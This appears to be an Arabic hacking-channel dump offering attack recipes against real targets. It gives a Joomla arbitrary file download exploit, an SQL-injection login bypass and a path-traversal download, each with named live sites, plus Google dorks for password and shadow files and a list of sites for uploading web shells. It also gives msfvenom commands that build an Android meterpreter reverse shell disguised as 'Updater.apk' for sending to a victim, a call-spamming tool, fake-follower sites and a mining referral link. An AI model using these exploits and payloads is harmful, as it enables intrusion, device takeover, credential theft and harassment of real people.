# اسم الثغرة : Joomla com_admin Components from V2.5.4 to V3.7.4
Database Backup Arbitrary File Download Vulnerability



# الدورك
   inurl:''/administrator/components/com_admin/sql/''
# نوع الثغرة   متوسطة
#################################################################################################

# مسار لوحه التحكم :

/administrator

#################################################################################################

# الاستغلالات  :



/joomla/administrator/components/com_admin/sql/others/mysql/......

/PATH/PATH/administrator/components/com_admin/sql/others/mysql/......

/PATH/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/postgresql/.......

/administrator/components/com_admin/sql/updates/sqlazure/......

/administrator/components/com_admin/sql/updates/mysql/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql

/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

/PATH/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.6.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.[THIS-NUMBER-CHANGES-].sql

#################################################################################################

# أمثلة لمواقع مصابة  =>

[+]
xpilot-ai.org/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql

[+]



#CS

الشرح عبارة عن

فيديو

النص رسلتو زمان🔥👍

بي مناسبة الناس قالت انو الأداة ما شغالة معاها حقت مكالمات المزعجة امسح ديك وثبت دي شغالة وهسي قبل ما ارسل المنشور دا ثبتها وجربتها شغال 100%

الشرح فيديو ونص مقدم من
#السلطان
@ayman5593

مساء الخير ساشرح لكم اليوم اداة جديده بلغه php
هذه الاداة تقوم بعمل spammer علي الهاتف يعني مثل الرسائل المزعجة لاكن اتصال وليس رسائل

طريقه التثبيت اكتب الاوامر في تيرموكس
pkg install git php - y

pkg install php
امر تنصيب الاداة
git clone https://github.com/siputra12/fakecall.git
امر فتح ملف  الاداة
cd fakecall
امر اعطاء الصلاحيات للاداة
chmod +x call.php
فتح الاداه
php call.php

لاتنسو تشتركو في قناتي لمزيد من الشروحات الحصرية

https://www.youtube.com/channel/UCwOOyp6gotOz6sf6ilDTljw

الاسم : SO-AT Solution CMS Bypass SQL Login


الدورك  inurl:/coop/re_register.php


الاستغلال


/coop/adminlogon.php



User: ' or 1=1 limit 1 -- -+
Password: ' or 1=1 limit 1 -- -+



أمثلة

 http://healthcoop.or.th/coop/adminlogon.php



 http://www.tot-coop.com/coop/adminlogon.php



#CS

الاسم    Server Info

الدورك

inurl:"debug/default/view?panel=config"


راح تطلع لك مواقع كثيرة

مجرد ما تدخل لها راح يعطيك معلومات
وايضا اسم المستخدم وكلمة المرور

#CS

ثغرة  (FTP2FTP ( Arbitrary File Download :
الدورك  
: inurl:/download2.php?id=
—
الاستغلال


http(s)://host.com/[patch]?id=../index.php
or
http(s)://host.com/[patch]?id=/index.php
—
مثال


http://www.supersat.cz/download/azbox/download2.php?id=23

after exploit :

http://www.supersat.cz/download/azbox/download2.php?id=../index.php
=========================



#CS

موقع تعدين البتكوين ❤️

سرعة هذا الموقع تعادل أضعاف البوتات .




في الفراغ الأول :
تضع عنوان محفظتك البتكوين

في الفراغ الثاني :
تضع أربعة أرقام ككلمة سر

رابط الموقع :

https://btconlinepool.com/r/DE7CA45CC

في يومين فقط جمعت هذا 👆

احلا الدوركات لعيونكم😍



inurl:lists intitle:"FTP root at" intitle:"Gateway Configuration Menu" intitle:"Horde :: My Portal" -"[Tickets" intitle:"i-secure v1.1" -edu intitle:"Icecast Administration Admin Page" intitle:"iDevAffiliate - admin" -demo intitle:"inc. vpn 3000 concentrator" intitle:"Index of..etc" passwd intitle:"Index Of" -inurl:maillog maillog size intitle:"Index of" .bash_history intitle:"Index of" .mysql_history intitle:"Index of" .sh_history intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c intitle:"index of" +myd size intitle:"Index of" cfide intitle:"Index Of" cookies.txt size intitle:"index of" etc/shadow intitle:"index of" htpasswd intitle:"index of" intext:connect.inc intitle:"index of" intext:globals.inc intitle:"index of" master.passwd intitle:"index of" members OR accounts intitle:"index of" mysql.conf OR mysql_config intitle:"index of" passwd intitle:"Index of" passwords modified intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"Index of" pwd.db intitle:"Index of" sc_serv.conf sc_serv content intitle:"index of" spwd intitle:"Index of" spwd.db passwd -pam.conf intitle:"Index of" upload size parent directory intitle:"index of" user_carts OR user_cart intitle:"index.of *" admin news.asp configview.asp intitle:"index.of" .diz .nfo last modified intitle:"ISPMan : Unauthorized Access prohibited" intitle:"ITS System Information" "Please log on to the SAP System" intitle:"iVISTA.Main.Page" intitle:"Joomla - Web Installer" intitle:"Kurant Corporation StoreSense" filetype:bok intitle:"ListMail Login" admin -demo intitle:"live view" intitle:axis intitle:"Login - intitle:"Login Forum intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman intitle:"Login to Cacti" intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id= intitle:"LOGREP - Log file reporting system" -site:itefix.no intitle:"Mail Server CMailServer Webmail" "5.2" intitle:"MailMan Login" intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi intitle:"Merak Mail Server Web Administration" -ihackstuff.com intitle:"microsoft certificate services" inurl:certsrv intitle:"Microsoft Site Server Analysis" intitle:"MikroTik RouterOS Managing Webpage" intitle:"Multimon UPS status page" intitle:"MvBlog powered" intitle:"MX Control Console" "If you can't remember" intitle:"Nessus Scan Report" "This file was generated by Nessus"



#CS

السلام عليكم ورحمة الله وبركاته
في حد منكم يعرف يرجع رقم وهمي مربوط ب gmail

حسابي الكنت احكي معكم فيه طار

إذا بتعرف هاد البوت تبعي
@CS_23bot

مواقع تركية لرشق
انستا بحساب وهمي
🤤🤑🤗

https://www.popileriz.com/tools
https://instager.net/
https://takipapp.com/
https://takipcikeyfi.com/
https://instaloji.com/tools
https://maxtakipci.com/
https://www.insfollow.com/tags/instagram-takipci-gonder
https://smmpanely.com/
https://instager.net/blog/instagram-sifresiz-takipci-hilesi
https://instabayi.com/
https://instabayi.com/
https://maxtakipci.com/tools
https://vipinstagramtakipci.com/
https://igtools.net/
https://begendiler.com/
https://www.instafenomeni.net/tools
http://instabayim.com/
https://takipmerkezi.com.tr/
https://instaloji.com/
https://www.takipcipanelim.com/tools
https://www.instagram-takipcihilesi.com/tools
https://www.instatakipcibegeni.net/tools
https://birtakipci.com/
https://takipcipanelim.com/
https://instatakipmerkezi.com/
https://instavevo.com/
https://takipcisitelerin.com/
https://www.takipcibegenigonder.com/
https://insmobil.com/
https://hazirtakipci.com/
https://www.instagramtakipci.ist/tools
https://instagram.takipcisitelerin.com/
https://seontools.com/tools
http://takippp.com/
https://insfollow.com/tools
https://www.instafenomeni.net/
https://instagrambest.com/tools
https://www.takipciyurdu.com/tags/takipci-gonder
http://takiptrenim.com/
https://takipcistar.com/tools
https://takipcicenter.com/tools
https://takipmerkezi.com.tr/blog/instagram-takipci-gonder-firsatlari
https://ibegenapp.net/tools
https://instagramhilecim.com/tools
http://medyaagi.com/
http://igtakip.win/
http://www.kralbegeni.com/
https://instakedi.com/
http://www.takipcilordu.com/tools/reaction/follow
https://instagram.begenihilesi.com/
https://takipcistar.com/tools
https://takipcibegen.com/blog/instagram-baskasina-takipci-gonderme
https://takipcisepeti.com/
https://instamoda.org/
https://takipcilordu.com/
https://www.instakutusu.com/
https://instahilesiapp.com/tools
https://www.bronztakipci.com/tools
https://www.4takipci.com/
https://doctakip.com/
https://takipcistar.net/tools
https://itakipci.com/tools
https://www.takipciharmani.com/
https://www.panelinsta.com/
https://www.panelinsta.com/tools
https://silvertakip.net/
http://hepinsta.com/tools
https://www.youtube.com/watch?v=F0vQUbJ2Iv8
https://www.begensinler.com/
https://takipciyurdu.com/
http://www.aboneservisim.com/
https://instagram-takipcihilesi.com/
https://vipinstagramtakipci.com/blog/instagram-1k-takipci-hilesi-2017
https://www.instagramtakiphilesi.com/instagram-begeni-paneli/index.html
https://takipcilerbizden.com/tools
http://takipcigram.net/
https://www.youtube.com/watch?v=10tqMjwDTNE
http://erbasmedya.com/
http://viagang.com/
http://hepinsta.com/
http://www.begenici.com/
https://www.takipcizade.com/
http://www.oyunoburu.com/
https://www.begenivetakipci.com/tools
https://instavevo.com/blog/instagram-1k-takipci-hilesi
https://takipciaraci.com/tools
https://scriptyuvasi.com/instagram-sorunsuz-takipci-scripti-login-sorunsuz-proxy/
https://instabayim.info/tools
https://instagramhilecim.com/blog/instagram-baskasina-takipci-yollama
https://begenapp.net/soru/1617/hesaba-takipci-gonder-deyince-begeni-girilecek-aciliyor-acaba
https://begenipaneli.net/tools
https://v3sc.net/Instagram-Sifresiz-Takipci
https://insmobil.com/tools
https://www.intagramtakip.com/
https://instagram.takipcisatinal.com.tr/tag/instagram-takipci-gonder/
http://www.enginuzun.org/baskasina-takipci-gonderme-baska-hesaba-begeni-gonder.html
https://inshilesi.com/
https://igpure.com/
http://instatakipmerkezi.com/tools
https://instabayi.com/
https://maxtakipci.com/tools
https://vipinstagramtakipci.com/
https://igtools.net/
https://begendiler.com/
https://www.instafenomeni.net/tools
http://instabayim.com/
https://takipmerkezi.com.tr/
https://instaloji.com/
https://www.takipcipanelim.com/tools
https://www.popileriz.com/tools
https://instager.net/
https://takipapp.com/
https://takipcikeyfi.com/
https://instaloji.com/tools
https://maxtakipci.com/

مواقع لرفع شل shell لعيونكم😍


http://www.khulshilionsclub.org/admin/gallery.php


http://www.miramichistripercup.ca/admin/gallery.php


http://karunyatrustonline.org/Karunyatrust/Admin/gallery.php

http://www.gurunanakschoolbhilai.com/admin/gallery.php


#CS

السلام عليكم ورحمة الله وبركاته
شرحي اليوم شوي بسيط
وهو تحميل مقطع من الفيس بوك

عن طريق أداة Facebook-Video-Downloader


الأوامر


git clone https://github.com/Tuhinshubhra/Facebook-Video-Downloader

cd Facebook-Video-Downloader

php fb.php

enter URL for example (https://www.facebook.com/cctvcom/videos/1410869539034155/)

بعدها ح يطلب اسم للملف حقك
مثلا انا اخترت rubics



#CS

السلام عليكم ورحمة الله وبركاته
أداة TM-scanner رائعه تحتوي الكثير من الأدوات و طريقه استخدمها

الأوامر


git clone https://github.com/TechnicalMujeeb/TM-scanner

cd TM-scanner

chmod +x * sh install.sh

python2 tmscanner.py


#CS

‏اللهُم إن رمضان قد أذن بالرحيل فأجعله يا ربنا راحلاً بذنوبنا وعيوبنا وتقصيرنا.

اللهُم لاتخرجنا من رمِضان إلا وقد غفرت ذنوبنا ومُحوت زلاتنا وعفوت عنا وعتقت رقابنا من النار ورحمتنا وسَامحتنا على تقصيرنا ورضيت عنا.

السلام عليكم ورحمة الله وبركاته

 
1- pkg install openssh

 
2 - ssh -R (Desired_Port):localhost:(Desired_Port) serveo.net

صفحه جديدة  تكتب أوامر الميتا


و نكتب اوامر عمل البايلود
اولا :


cd metasploit-framework
(ملحوظه ::  هذي إذا كانت الملف تبع الميتا مظهر تكتب الأمر السابق  )

و بعدها

msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R > storage/downloads/Updater.apk




ثانيا نفتح اداة الميتاسبلويت بالامر
./msfconsole

ثالثا بعد الدخول علي الميتاسبلويت نكتب الاوامر

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 127.0.0.1

set lport 4444

exploit
 
قم بإرسال ارساله للضحية
و بعدها يصلك تبليغ  وتفتح الجلسه عندك
  
أوامر التحكم تكتب help أو ?



 
#CS

git clone https://github.com/kancotdiq/ipcs.git


#cs